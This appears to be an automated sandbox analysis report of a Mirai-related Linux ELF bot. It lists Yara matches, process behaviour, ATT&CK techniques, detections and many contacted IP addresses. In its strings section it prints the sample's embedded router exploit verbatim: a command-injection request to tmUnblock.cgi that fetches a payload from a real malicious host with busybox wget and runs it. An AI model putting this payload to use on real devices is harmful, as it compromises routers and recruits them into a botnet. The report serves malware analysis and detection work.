Source: unknown	Network traffic detected: HTTP traffic on port 45700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38140
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40460
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39470
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38142
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39472
Source: unknown	Network traffic detected: HTTP traffic on port 41086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57444 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39474
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51178
Source: unknown	Network traffic detected: HTTP traffic on port 33982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51176
Source: unknown	Network traffic detected: HTTP traffic on port 43796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38148
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51180
Source: unknown	Network traffic detected: HTTP traffic on port 34574 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40458
Source: unknown	Network traffic detected: HTTP traffic on port 49066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51184
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51182
Source: unknown	Network traffic detected: HTTP traffic on port 46786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40452
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41786
Source: unknown	Network traffic detected: HTTP traffic on port 33224 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40456
Source: unknown	Network traffic detected: HTTP traffic on port 53562 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54454 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33524 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40454
Source: unknown	Network traffic detected: HTTP traffic on port 56576 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51106
Source: unknown	Network traffic detected: HTTP traffic on port 36960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52438
Source: unknown	Network traffic detected: HTTP traffic on port 55984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 44160 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51100
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52430
Source: unknown	Network traffic detected: HTTP traffic on port 57420 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53766

System Summary

Malicious sample detected (through community Yara rule)

Source: ZhhHfkNewm.elf, type: SAMPLE	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 6210.1.00007f19c8011000.00007f19c801f000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 6206.1.00007f19c8011000.00007f19c801f000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth

Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://45.142.182.103/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0
Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://45.142.182.103/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0+h+dPOST /tmUnblock.cgi HTTP/1.1

Source: ELF static info symbol of initial sample

.symtab present: no

Source: ZhhHfkNewm.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 6210.1.00007f19c8011000.00007f19c801f000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 6206.1.00007f19c8011000.00007f19c801f000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research

Source: classification engine

Classification label: mal80.troj.linELF@0/1@0/0

Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/1582/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/2033/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/2275/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/3088/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/1612/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/1579/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/1699/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/1335/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/1698/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/2028/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/1334/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/1576/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/2302/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/3236/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/2025/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/2146/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/910/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/4444/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/4445/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/912/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/4446/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/517/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/759/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/2307/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/918/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/1594/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/2285/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/2281/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/1349/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/1623/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/761/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/1622/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/884/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/1983/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/2038/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/1344/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/1465/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/1586/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/1860/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/1463/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/2156/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/800/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/801/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/1629/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/1627/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/1900/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/3021/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/491/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/2294/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/2050/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/1877/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/772/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/1633/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/1599/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/1632/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/774/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/1477/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/654/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/896/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/1476/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/1872/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/2048/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/655/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/1475/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/2289/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/656/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/777/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/657/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/658/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/4467/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/419/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/936/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/1639/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/1638/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/2208/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/2180/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/6146/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/1809/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/1494/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/1890/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/2063/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/2062/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/1888/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/1886/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/420/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/1489/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/785/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/1642/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/788/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/667/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/789/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/1648/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/6152/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/6157/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/4497/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/2078/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/2077/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/2074/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/2195/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/670/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/2746/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/793/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/1656/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/1654/maps	Jump to behavior
Source: /tmp/ZhhHfkNewm.elf (PID: 6217)	File opened: /proc/674/maps	Jump to behavior

Source: /tmp/ZhhHfkNewm.elf (PID: 6206)

Queries kernel information via 'uname':

Jump to behavior

Source: ZhhHfkNewm.elf, 6206.1.000055a42af6f000.000055a42aff4000.rw-.sdmp, ZhhHfkNewm.elf, 6210.1.000055a42af6f000.000055a42aff4000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sparc
Source: ZhhHfkNewm.elf, 6206.1.000055a42af6f000.000055a42aff4000.rw-.sdmp, ZhhHfkNewm.elf, 6210.1.000055a42af6f000.000055a42aff4000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/sparc
Source: ZhhHfkNewm.elf, 6206.1.00007ffc8a58c000.00007ffc8a5ad000.rw-.sdmp, ZhhHfkNewm.elf, 6210.1.00007ffc8a58c000.00007ffc8a5ad000.rw-.sdmp	Binary or memory string: Kx86_64/usr/bin/qemu-sparc/tmp/ZhhHfkNewm.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/ZhhHfkNewm.elf
Source: ZhhHfkNewm.elf, 6206.1.00007ffc8a58c000.00007ffc8a5ad000.rw-.sdmp, ZhhHfkNewm.elf, 6210.1.00007ffc8a58c000.00007ffc8a5ad000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sparc

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: ZhhHfkNewm.elf, type: SAMPLE
Source: Yara match	File source: 6210.1.00007f19c8011000.00007f19c801f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6206.1.00007f19c8011000.00007f19c801f000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: ZhhHfkNewm.elf, type: SAMPLE
Source: Yara match	File source: 6210.1.00007f19c8011000.00007f19c801f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6206.1.00007f19c8011000.00007f19c801f000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Abuse Accessibility Features	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	1 Non-Standard Port	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	2 Non-Application Layer Protocol			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Traffic Duplication	3 Application Layer Protocol			Data Destruction	Virtual Private Server	Employee Names
Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Scheduled Transfer	2 Ingress Tool Transfer			Data Encrypted for Impact	Server	Gather Victim Network Information

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
ZhhHfkNewm.elf	100%	Avira	EXP/ELF.Mirai.Bot.Hua.d

Source	Detection	Scanner	Label	Link
http://45.142.182.103/bin	100%	Avira URL Cloud	malware
http://45.142.182.103:80/tmUnblock.cgi	100%	Avira URL Cloud	malware

Name	Malicious	Antivirus Detection	Reputation
http://45.142.182.103:80/tmUnblock.cgi	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://45.142.182.103/bin	ZhhHfkNewm.elf	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
72.248.51.168	unknown	United States	7029	WINDSTREAMUS	false
118.8.227.90	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
2.227.45.92	unknown	Italy	12874	FASTWEBIT	false
37.105.171.18	unknown	Saudi Arabia	25019	SAUDINETSTC-ASSA	false
64.192.180.132	unknown	United States	33548	UNWIRED-NOCUS	false
94.236.86.113	unknown	United Kingdom	15395	RACKSPACE-LONGB	false
37.48.232.68	unknown	Croatia (LOCAL Name: Hrvatska)	35549	METRONET-ASZagrebCroatiaHR	false
2.214.210.125	unknown	Germany	6805	TDDE-ASN1DE	false
212.99.45.159	unknown	France	12670	AS-COMPLETELFR	false
20.208.5.123	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
47.187.194.0	unknown	United States	5650	FRONTIER-FRTRUS	false
145.143.210.202	unknown	Netherlands	1103	SURFNET-NLSURFnetTheNetherlandsNL	false
212.219.99.173	unknown	United Kingdom	786	JANETJiscServicesLimitedGB	false
76.165.240.96	unknown	United States	2055	LSU-1US	false
99.145.66.142	unknown	United States	7018	ATT-INTERNET4US	false
5.204.247.37	unknown	Hungary	8448	PGSM-HUTorokbalintHungaryHU	false
98.142.17.17	unknown	United States	22402	NEXTCO-ASUS	false
144.143.63.197	unknown	United States	1221	ASN-TELSTRATelstraCorporationLtdAU	false
178.77.110.220	unknown	Germany	20773	GODADDYDE	false
160.134.19.220	unknown	United States	1466	DNIC-AS-01466US	false
115.109.216.197	unknown	India	17908	TCISLTataCommunicationsIN	false
178.221.188.140	unknown	Serbia	8400	TELEKOM-ASRS	false
37.175.45.161	unknown	France	51207	FREEMFR	false
5.81.110.246	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false
79.24.242.64	unknown	Italy	3269	ASN-IBSNAZIT	false
106.25.96.255	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
2.106.70.227	unknown	Denmark	3292	TDCTDCASDK	false
99.136.160.193	unknown	United States	25993	AS-25993US	false
212.124.22.136	unknown	Russian Federation	24699	IVTELECOM-ASRU	false
42.7.155.55	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
35.235.166.22	unknown	United States	15169	GOOGLEUS	false
164.160.156.147	unknown	unknown	328078	DG-Store-ASZA	false
220.8.84.127	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
208.19.90.215	unknown	United States	1239	SPRINTLINKUS	false
117.76.121.69	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
170.249.116.103	unknown	Japan	131937	JCVJoetsuCableVisionJP	false
220.117.248.66	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
37.175.45.172	unknown	France	51207	FREEMFR	false
42.26.117.157	unknown	Korea Republic of	9644	SKTELECOM-NET-ASSKTelecomKR	false
192.217.176.90	unknown	United States	2914	NTT-COMMUNICATIONS-2914US	false
53.239.230.137	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
212.200.149.67	unknown	Serbia	8400	TELEKOM-ASRS	false
112.229.41.44	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
120.11.65.73	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
37.33.118.110	unknown	Finland	16086	DNAFI	false
43.192.21.254	unknown	Japan	4249	LILLY-ASUS	false
118.231.23.37	unknown	Taiwan; Republic of China (ROC)	9674	FET-TWFarEastToneTelecommunicationCoLtdTW	false
94.150.243.129	unknown	Denmark	9158	TELENOR_DANMARK_ASDK	false
5.232.203.250	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	false
118.60.79.161	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
138.139.122.183	unknown	United States	5972	DNIC-ASBLK-05800-06055US	false
222.176.170.154	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
109.48.20.19	unknown	Portugal	2860	NOS_COMUNICACOESPT	false
23.87.149.44	unknown	United States	395954	LEASEWEB-USA-LAX-11US	false
185.19.84.143	unknown	Switzerland	48971	DATAWIRE-ASCH	false
118.178.154.246	unknown	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
139.134.64.214	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	false
114.70.63.190	unknown	Korea Republic of	10088	KWANGWOON-AS-KRKWANGWOONUNIVERSITYKR	false
198.77.155.227	unknown	United States	7914	CSIUS	false
2.203.124.73	unknown	Germany	3209	VODANETInternationalIP-BackboneofVodafoneDE	false
42.161.92.125	unknown	China	4249	LILLY-ASUS	false
178.66.52.74	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
180.246.31.131	unknown	Indonesia	7713	TELKOMNET-AS-APPTTelekomunikasiIndonesiaID	false
37.225.6.225	unknown	Poland	5617	TPNETPL	false
109.253.86.78	unknown	Israel	1680	NV-ASNCELLCOMltdIL	false
217.42.122.100	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false
64.128.147.179	unknown	United States	3549	LVLT-3549US	false
157.2.30.19	unknown	Japan	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
2.169.76.57	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
37.12.164.143	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
134.195.66.231	unknown	Reserved	289	DNIC-AS-00289US	false
25.19.64.51	unknown	United Kingdom	7922	COMCAST-7922US	false
42.161.92.115	unknown	China	4249	LILLY-ASUS	false
2.7.168.212	unknown	France	3215	FranceTelecom-OrangeFR	false
212.13.231.24	unknown	Slovenia	9119	SOFTNET-ASInternetServiceProviderinSloveniaandSouthE	false
52.208.193.70	unknown	United States	16509	AMAZON-02US	false
104.197.144.253	unknown	United States	15169	GOOGLEUS	false
68.65.217.138	unknown	Virgin Islands (BRITISH)	396357	BVI-DIGVG	false
94.75.149.222	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
126.247.124.81	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
162.89.188.121	unknown	United States	393759	CITY-OF-AUSTINUS	false
53.28.55.237	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
48.178.171.14	unknown	United States	2686	ATGS-MMD-ASUS	false
94.78.230.27	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
212.240.174.223	unknown	United Kingdom	2529	DEMON-INTERNETNowmaintainedbyCableWirelessWorldwide	false
5.157.47.121	unknown	Estonia	57858	AS57858EU	false
38.207.172.122	unknown	United States	9009	M247GB	false
94.194.150.95	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
27.167.26.122	unknown	Korea Republic of	9644	SKTELECOM-NET-ASSKTelecomKR	false
109.142.52.169	unknown	Belgium	5432	PROXIMUS-ISP-ASBE	false
5.66.14.148	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
209.161.133.168	unknown	United States	4043	MIC-ASNUS	false
109.139.205.157	unknown	Belgium	5432	PROXIMUS-ISP-ASBE	false
34.93.67.20	unknown	United States	15169	GOOGLEUS	false
109.186.178.150	unknown	Israel	1680	NV-ASNCELLCOMltdIL	false
162.223.197.223	unknown	United States	21769	AS-COLOAMUS	false
118.76.186.179	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
178.249.88.214	unknown	Poland	58321	OXYLION-ASPL	false
133.6.177.183	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
72.203.252.211	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
98.142.17.17	4JV1A84sXC.elf	Get hash	malicious	Mirai	Browse
37.175.45.161	pEtS9zZ8Xh.elf	Get hash	malicious	Mirai	Browse
76.165.240.96	sora.x86	Get hash	malicious	Mirai	Browse
37.105.171.18	eOtmSqG53Y	Get hash	malicious	Unknown	Browse
178.77.110.220	5MJT6kO9wS	Get hash	malicious	Mirai	Browse
212.99.45.159	mipsel-20220406-2027	Get hash	malicious	Mirai Moobot	Browse
94.236.86.113	zEqcR6NjKc	Get hash	malicious	Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
OCNNTTCommunicationsCorporationJP	F9xLv7ea2d.elf	Get hash	malicious	Mirai	Browse	210.164.67.113
	4F5W85YGoU.elf	Get hash	malicious	Mirai	Browse	180.5.98.239
	lo8cGX1gZM.elf	Get hash	malicious	Mirai	Browse	114.173.202.252
	8GMQc4GV2x.elf	Get hash	malicious	Mirai	Browse	118.16.102.214
	86O41HaCl5.elf	Get hash	malicious	Mirai	Browse	180.36.62.64
	Ma4NfFTyMr.elf	Get hash	malicious	Mirai	Browse	118.5.14.240
	CuruFoiJiK.elf	Get hash	malicious	Mirai	Browse	118.8.227.68
